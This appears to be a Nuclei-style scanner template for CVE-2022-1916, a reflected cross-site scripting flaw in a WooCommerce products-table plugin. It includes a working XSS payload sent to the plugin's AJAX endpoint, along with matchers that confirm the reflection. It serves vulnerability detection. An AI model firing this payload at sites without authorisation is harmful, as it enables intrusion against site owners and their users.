47 lines
1.3 KiB
YAML
47 lines
1.3 KiB
YAML
id: CVE-2022-1916
|
|
|
|
info:
|
|
name: Active Products Tables for WooCommerce < 1.0.5 - Cross Site Scripting
|
|
author: Akincibor
|
|
severity: medium
|
|
description: |
|
|
The plugin does not sanitise and escape a parameter before outputting it back in the response of an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected cross-Site Scripting.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/d16a0c3d-4318-4ecd-9e65-fc4165af8808
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-1916
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-1916
|
|
cwe-id: CWE-79
|
|
tags: wordpress,wp-plugin,xss,wpscan,cve,cve2022,wp
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=woot_get_smth&what={%22call_action%22:%22x%22,%22more_data%22:%22\u003cscript%3Ealert(document.domain)\u003c/script%3E%22}'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<script>alert(document.domain)</script>'
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'woot-content-in-popup'
|
|
- 'woot-system'
|
|
- 'woot-table'
|
|
condition: or
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|